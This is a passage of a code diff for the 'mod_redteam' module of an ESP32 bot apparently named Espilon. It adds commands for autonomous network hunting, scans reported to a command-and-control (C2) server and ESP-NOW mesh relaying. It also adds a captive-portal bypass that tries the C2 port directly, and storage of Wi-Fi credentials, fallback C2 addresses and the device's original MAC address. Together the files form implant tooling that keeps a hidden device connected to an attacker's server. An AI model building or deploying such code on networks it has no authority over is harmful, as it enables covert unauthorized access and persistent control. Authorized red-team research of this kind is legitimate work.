|
||||
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
|
||||
}
|
||||
#else
|
||||
msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command table
|
||||
* ============================================================ */
|
||||
static const command_t rt_cmds[] = {
|
||||
{
|
||||
.name = "rt_hunt",
|
||||
.sub = NULL,
|
||||
.help = "Start autonomous network hunt",
|
||||
.min_args = 0,
|
||||
.max_args = 1,
|
||||
.handler = (command_handler_t)cmd_rt_hunt,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_stop",
|
||||
.sub = NULL,
|
||||
.help = "Stop hunt, restore WiFi/MAC/TX",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_status",
|
||||
.sub = NULL,
|
||||
.help = "Hunt state, MAC, method, config",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_status,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_scan",
|
||||
.sub = NULL,
|
||||
.help = "Passive WiFi scan + report to C2",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_scan,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_net_add",
|
||||
.sub = NULL,
|
||||
.help = "Add known network: rt_net_add <ssid> [pass]",
|
||||
.min_args = 1,
|
||||
.max_args = 2,
|
||||
.handler = (command_handler_t)cmd_rt_net_add,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_net_list",
|
||||
.sub = NULL,
|
||||
.help = "List known networks",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_net_list,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_mesh",
|
||||
.sub = NULL,
|
||||
.help = "ESP-NOW mesh relay: rt_mesh <start|stop>",
|
||||
.min_args = 1,
|
||||
.max_args = 1,
|
||||
.handler = (command_handler_t)cmd_rt_mesh,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Registration
|
||||
* ============================================================ */
|
||||
void mod_redteam_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering red team commands");
|
||||
|
||||
rt_config_init();
|
||||
rt_config_save_orig_mac();
|
||||
|
||||
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
|
||||
command_register(&rt_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_REDTEAM */
|
||||
|
||||
void mod_redteam_register_commands(void) { /* empty */ }
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
8
espilon_bot/components/mod_redteam/cmd_redteam.h
Normal file
8
espilon_bot/components/mod_redteam/cmd_redteam.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_redteam.h
|
||||
* Red Team resilient connectivity module.
|
||||
* Compiled as empty when CONFIG_MODULE_REDTEAM is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_redteam_register_commands(void);
|
||||
291
espilon_bot/components/mod_redteam/rt_captive.c
Normal file
291
espilon_bot/components/mod_redteam/rt_captive.c
Normal file
@ -0,0 +1,291 @@
|
||||
/*
|
||||
* rt_captive.c
|
||||
* Captive portal detection and bypass strategies.
|
||||
*
|
||||
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
|
||||
* - 204 = no portal (internet open)
|
||||
* - 200/302 = captive portal detected
|
||||
* - Connection failed = unknown
|
||||
*
|
||||
* Bypass strategies (in order):
|
||||
* 1. Direct C2 port — often not intercepted by portals
|
||||
* 2. POST accept — parse 302 redirect, POST to portal accept URL
|
||||
* 3. Wait + retry — some portals open after DNS traffic
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_captive.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "RT_CAPTIVE";
|
||||
|
||||
#define CAPTIVE_TIMEOUT_S 5
|
||||
#define CAPTIVE_RX_BUF 512
|
||||
|
||||
/* ============================================================
|
||||
* Raw HTTP request to check connectivity
|
||||
* ============================================================ */
|
||||
|
||||
/* Resolve hostname to IP */
|
||||
static bool resolve_host(const char *host, struct in_addr *out)
|
||||
{
|
||||
struct addrinfo hints = {0};
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
struct addrinfo *res = NULL;
|
||||
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
|
||||
if (err != 0 || !res) {
|
||||
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
|
||||
return false;
|
||||
}
|
||||
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
|
||||
*out = addr->sin_addr;
|
||||
lwip_freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Send raw HTTP GET, return HTTP status code (0 on failure) */
|
||||
static int http_get_status(const char *host, int port, const char *path,
|
||||
char *location_out, size_t location_cap)
|
||||
{
|
||||
struct in_addr ip;
|
||||
if (!resolve_host(host, &ip)) return 0;
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return 0;
|
||||
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr = ip;
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Send HTTP request */
|
||||
char req[256];
|
||||
int req_len = snprintf(req, sizeof(req),
|
||||
"GET %s HTTP/1.0\r\n"
|
||||
"Host: %s\r\n"
|
||||
"Connection: close\r\n"
|
||||
"User-Agent: Mozilla/5.0\r\n"
|
||||
"\r\n",
|
||||
path, host);
|
||||
|
||||
if (lwip_write(s, req, req_len) <= 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Read response header */
|
||||
char buf[CAPTIVE_RX_BUF];
|
||||
int total = 0;
|
||||
int len;
|
||||
while (total < (int)sizeof(buf) - 1) {
|
||||
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
|
||||
if (len <= 0) break;
|
||||
total += len;
|
||||
/* Stop after headers (double CRLF) */
|
||||
buf[total] = '\0';
|
||||
if (strstr(buf, "\r\n\r\n")) break;
|
||||
}
|
||||
lwip_close(s);
|
||||
|
||||
if (total == 0) return 0;
|
||||
buf[total] = '\0';
|
||||
|
||||
/* Parse status code: "HTTP/1.x NNN ..." */
|
||||
int status = 0;
|
||||
char *sp = strchr(buf, ' ');
|
||||
if (sp) {
|
||||
status = atoi(sp + 1);
|
||||
}
|
||||
|
||||
/* Extract Location header if present (for 302 redirects) */
|
||||
if (location_out && location_cap > 0) {
|
||||
location_out[0] = '\0';
|
||||
char *loc = strstr(buf, "Location: ");
|
||||
if (!loc) loc = strstr(buf, "location: ");
|
||||
if (loc) {
|
||||
loc += 10; /* skip "Location: " */
|
||||
char *end = strstr(loc, "\r\n");
|
||||
if (end) {
|
||||
size_t copy_len = end - loc;
|
||||
if (copy_len >= location_cap) copy_len = location_cap - 1;
|
||||
memcpy(location_out, loc, copy_len);
|
||||
location_out[copy_len] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal detection
|
||||
* ============================================================ */
|
||||
|
||||
rt_portal_status_t rt_captive_detect(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Checking for captive portal...");
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "No captive portal (got 204)");
|
||||
return RT_PORTAL_NONE;
|
||||
}
|
||||
|
||||
if (status == 200 || status == 302 || status == 301) {
|
||||
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
|
||||
return RT_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
if (status == 0) {
|
||||
/* Try alternative check endpoint */
|
||||
status = http_get_status(
|
||||
"captive.apple.com", 80,
|
||||
"/hotspot-detect.html", NULL, 0);
|
||||
|
||||
if (status == 200) {
|
||||
/* Apple endpoint returns 200 with "Success" if no portal */
|
||||
/* and 200 with redirect content if portal — tricky */
|
||||
/* For now, assume it's potentially a portal */
|
||||
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
|
||||
return RT_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Connectivity check failed (no response)");
|
||||
return RT_PORTAL_UNKNOWN;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
|
||||
return RT_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
bool rt_captive_bypass(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Attempting captive portal bypass...");
|
||||
|
||||
/* Strategy 1: Direct C2 port
|
||||
* Most captive portals only intercept 80/443.
|
||||
* Our C2 is on port 2626 — might go through. */
|
||||
{
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s >= 0) {
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
lwip_close(s);
|
||||
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
lwip_close(s);
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
|
||||
}
|
||||
|
||||
/* Strategy 2: POST accept
|
||||
* Get the redirect URL from the portal, POST to accept. */
|
||||
{
|
||||
char location[256] = {0};
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", location, sizeof(location));
|
||||
|
||||
if ((status == 302 || status == 301) && location[0]) {
|
||||
ESP_LOGI(TAG, "Portal redirect to: %s", location);
|
||||
|
||||
/* Parse host from location URL */
|
||||
/* Expected format: http://host/path or https://host/path */
|
||||
char *host_start = strstr(location, "://");
|
||||
if (host_start) {
|
||||
host_start += 3;
|
||||
char *path_start = strchr(host_start, '/');
|
||||
char host_buf[64] = {0};
|
||||
|
||||
if (path_start) {
|
||||
size_t hlen = path_start - host_start;
|
||||
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
|
||||
memcpy(host_buf, host_start, hlen);
|
||||
} else {
|
||||
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
|
||||
path_start = "/";
|
||||
}
|
||||
|
||||
/* Try to just GET the portal page (some portals auto-accept) */
|
||||
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
|
||||
ESP_LOGI(TAG, "Portal page status: %d", p_status);
|
||||
|
||||
/* Check if we now have internet */
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
int check = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (check == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
|
||||
}
|
||||
|
||||
/* Strategy 3: Wait + retry
|
||||
* Some portals open after seeing DNS traffic. Wait 10s. */
|
||||
{
|
||||
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
|
||||
}
|
||||
|
||||
msg_info(TAG, "All captive portal bypass strategies failed", NULL);
|
||||
return false;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_REDTEAM */
|
||||
|
||||
rt_portal_status_t rt_captive_detect(void) { return RT_PORTAL_UNKNOWN; }
|
||||
bool rt_captive_bypass(void) { return false; }
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
30
espilon_bot/components/mod_redteam/rt_captive.h
Normal file
30
espilon_bot/components/mod_redteam/rt_captive.h
Normal file
@ -0,0 +1,30 @@
|
||||
/*
|
||||
* rt_captive.h
|
||||
* Captive portal detection and bypass strategies.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
RT_PORTAL_NONE, /* No captive portal — internet is open */
|
||||
RT_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
|
||||
RT_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
|
||||
} rt_portal_status_t;
|
||||
|
||||
/* Check for captive portal via HTTP 204 connectivity test.
|
||||
* Returns portal status. */
|
||||
rt_portal_status_t rt_captive_detect(void);
|
||||
|
||||
/* Attempt to bypass a detected captive portal.
|
||||
* Tries strategies in order: direct C2 port, POST accept, wait+retry.
|
||||
* Returns true if C2 is reachable after bypass. */
|
||||
bool rt_captive_bypass(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
383
espilon_bot/components/mod_redteam/rt_config.c
Normal file
383
espilon_bot/components/mod_redteam/rt_config.c
Normal file
@ -0,0 +1,383 @@
|
||||
/*
|
||||
* rt_config.c
|
||||
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_config.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
|
||||
static const char *TAG = "RT_CFG";
|
||||
static const char *NVS_NS = "rt_cfg";
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void rt_config_init(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static void net_key_ssid(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "n_%d", idx);
|
||||
}
|
||||
|
||||
static void net_key_pass(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "p_%d", idx);
|
||||
}
|
||||
|
||||
int rt_config_net_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int rt_config_net_list(rt_network_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_RT_MAX_KNOWN_NETWORKS) count = CONFIG_RT_MAX_KNOWN_NETWORKS;
|
||||
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(rt_network_t));
|
||||
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
size_t len = RT_SSID_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].ssid, &len);
|
||||
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
len = RT_PASS_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].pass, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool rt_config_net_add(const char *ssid, const char *pass)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
|
||||
/* Check if SSID already exists → update */
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[RT_SSID_MAX_LEN] = {0};
|
||||
size_t len = RT_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
/* Update password */
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Updated network '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* New entry */
|
||||
if (count >= CONFIG_RT_MAX_KNOWN_NETWORKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
net_key_ssid(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, ssid);
|
||||
|
||||
net_key_pass(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "rt_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool rt_config_net_remove(const char *ssid)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
|
||||
int found = -1;
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[RT_SSID_MAX_LEN] = {0};
|
||||
size_t len = RT_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift entries down to fill the gap */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16];
|
||||
char buf[RT_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
/* Copy SSID[i+1] → SSID[i] */
|
||||
net_key_ssid(i + 1, src_key, sizeof(src_key));
|
||||
net_key_ssid(i, dst_key, sizeof(dst_key));
|
||||
len = RT_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
|
||||
/* Copy PASS[i+1] → PASS[i] */
|
||||
net_key_pass(i + 1, src_key, sizeof(src_key));
|
||||
net_key_pass(i, dst_key, sizeof(dst_key));
|
||||
len = RT_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
/* Erase last entries — reuse key[16] from above */
|
||||
net_key_ssid(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
net_key_pass(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "rt_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
int rt_config_c2_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int rt_config_c2_list(rt_c2_addr_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_RT_MAX_C2_FALLBACKS) count = CONFIG_RT_MAX_C2_FALLBACKS;
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(rt_c2_addr_t));
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].addr, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool rt_config_c2_add(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
/* Check duplicate */
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[RT_ADDR_MAX_LEN] = {0};
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
nvs_close(h);
|
||||
return true; /* Already exists */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_RT_MAX_C2_FALLBACKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)count);
|
||||
nvs_set_str(h, key, addr);
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool rt_config_c2_remove(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
int found = -1;
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[RT_ADDR_MAX_LEN] = {0};
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift down */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16], buf[RT_ADDR_MAX_LEN];
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
|
||||
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage
|
||||
* ============================================================ */
|
||||
|
||||
void rt_config_save_orig_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to read STA MAC");
|
||||
return;
|
||||
}
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return;
|
||||
|
||||
nvs_set_blob(h, "orig_mac", mac, 6);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
bool rt_config_get_orig_mac(uint8_t mac[6])
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
size_t len = 6;
|
||||
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
|
||||
nvs_close(h);
|
||||
return (err == ESP_OK && len == 6);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
83
espilon_bot/components/mod_redteam/rt_config.h
Normal file
83
espilon_bot/components/mod_redteam/rt_config.h
Normal file
@ -0,0 +1,83 @@
|
||||
/*
|
||||
* rt_config.h
|
||||
* NVS-backed known networks + C2 fallback addresses.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_RT_MAX_KNOWN_NETWORKS
|
||||
#define CONFIG_RT_MAX_KNOWN_NETWORKS 16
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_RT_MAX_C2_FALLBACKS
|
||||
#define CONFIG_RT_MAX_C2_FALLBACKS 4
|
||||
#endif
|
||||
|
||||
#define RT_SSID_MAX_LEN 33 /* 32 + NUL */
|
||||
#define RT_PASS_MAX_LEN 65 /* 64 + NUL */
|
||||
#define RT_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[RT_SSID_MAX_LEN];
|
||||
char pass[RT_PASS_MAX_LEN];
|
||||
} rt_network_t;
|
||||
|
||||
/* Init NVS namespace, load config */
|
||||
void rt_config_init(void);
|
||||
|
||||
